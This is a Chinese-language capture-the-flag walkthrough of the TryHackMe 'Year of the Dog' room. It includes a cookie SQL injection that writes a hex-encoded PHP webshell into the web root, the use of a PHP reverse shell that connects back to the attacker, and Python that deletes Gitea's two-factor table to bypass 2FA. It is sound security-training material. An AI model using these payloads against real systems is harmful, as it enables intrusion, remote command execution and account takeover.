简介:
Always so polite...
房间链接:
https://tryhackme.com/room/yearofthedog
问题:
挑战开始:
首先还是先扫下端口
nmap -p 1-65535 -sC -sV 10.10.108.141
可以看到只开了两个端口
访问80端口
使用dirbuster扫描了下目录
发现一个assert目录
下面有个flag的图片
但是没什么发现,把图片下载下来分析一下
但是没有什么发现
打开burp进一步分析
这儿发现了一个cookie
尝试注入,单引号成功报错
放进sqlmap中跑了下,存在注入
这里直接--os-shell无法成功
尝试读取文件
但是这里sqlmap不好用,尝试手工注入
在手注的时候发现存在联合注入
并且可以读文件
尝试写文件
UNION SELECT null,unhex('3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E') INTO OUTFILE '/var/www/html/shell.php' -- -
写入的内容其实是一句话木马
<?php system($_GET["cmd"]) ?>
访问shell.php
发现成功写入
这里我们便可以使用shell进行命令执行
这里我们通过这个一句话木马上传另一个木马反弹shell
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
更改shell中的回连IP
本地建立一个http服务
在一句话木马中下载,然后本地做好监听
访问shell1.php
成功返回shell
但是此时的权限并不足以读取flag
查看目录下的另一个文件,发现是一个日志
仔细看了下内容,从中找到一个密码
尝试登陆
一直都失败,最后把前面的dylan给删了,密码是Labr4d0rs4L1f3,成功登陆--
成功找到flag
接着尝试提权,这里看了sudo,suid,capabilities提权,但是都不行
查看网络连接
这里看到有几个端口没对外开放
使用ssh端口转发
ssh dylan@10.10.14.168 -L 3000:localhost:3000
访问本地的3000端口
通过左下角发现了框架和版本
搜索了下版本
发现存在RCE
但是需要有用户名密码
我们是用dylan/Labr4d0rs4L1f3登陆
发现存在二次验证
这里花了好长时间来想着绕过,但是没成功,借鉴了其他大佬的思路,删除双因素认证的表
在目标机器上使用python3
import sqlite3
conn=sqlite3.connect('gitea.db')
conn.execute('delete from two_factor')
conn.commit()
conn.close()
接着重新登陆,成功进入
提权太难了,回头慢慢尝试,
Comments NOTHING